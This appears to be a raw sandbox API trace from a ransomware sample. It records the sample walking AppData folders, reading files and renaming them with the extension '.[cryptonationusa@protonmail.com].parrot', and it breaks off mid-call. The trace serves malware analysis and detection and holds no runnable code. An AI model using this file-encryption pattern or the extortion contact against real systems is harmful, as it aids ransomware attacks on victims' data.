FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0xffffffff [0089.095] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0xffffffff [0089.095] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0089.096] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.096] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.096] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.096] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.096] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.096] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0089.096] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.096] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.097] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0089.097] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbae1a900, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbae1a900, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.097] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0089.097] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0089.097] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1 [0089.097] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0089.097] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa7053000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1aa38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="GDIPFO~1.PAR")) returned 1 [0089.097] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0089.097] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.097] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.097] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.097] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.097] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0089.097] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0089.097] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0089.097] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0089.101] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.101] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.102] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.102] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.102] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0089.102] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0089.102] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0089.102] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.102] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.102] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.103] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.103] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.103] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0089.104] lstrcmpW (lpString1="10.0", lpString2=".") returned 1 [0089.104] lstrcmpW (lpString1="10.0", lpString2="..") returned 1 [0089.104] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.105] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.105] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.106] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.106] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.106] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b6a040, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9b6a040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xde963ca0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0xa5ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="rdrmessage.zip", cAlternateFileName="RDRMES~1.ZIP")) returned 1 [0089.107] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.107] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0089.108] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.108] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa5ff, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xa5ff, lpOverlapped=0x0) returned 1 [0089.110] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.112] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0089.116] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.117] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0089.118] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.118] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x2000, lpOverlapped=0x0) returned 1 [0089.119] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.120] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\readermessages"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\readermessages.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0089.123] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.124] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.124] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.125] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.125] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.125] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.125] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.125] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.125] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.125] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.125] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc26e8580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc26e8580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.125] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b6a040, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9b6a040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc26e8580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xa718, dwReserved0=0x0, dwReserved1=0x0, cFileName="rdrmessage.zip.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="RDRMES~1.PAR")) returned 1 [0089.127] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.127] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.128] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc26e8580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc26e8580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0089.128] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc26e8580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc26e8580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0089.128] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.128] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.128] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.128] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.128] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.128] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0089.128] lstrcmpW (lpString1="Dictionaries", lpString2=".") returned 1 [0089.128] lstrcmpW (lpString1="Dictionaries", lpString2="..") returned 1 [0089.128] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.129] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.129] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.130] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.130] lstrcmpW (lpString1="..", 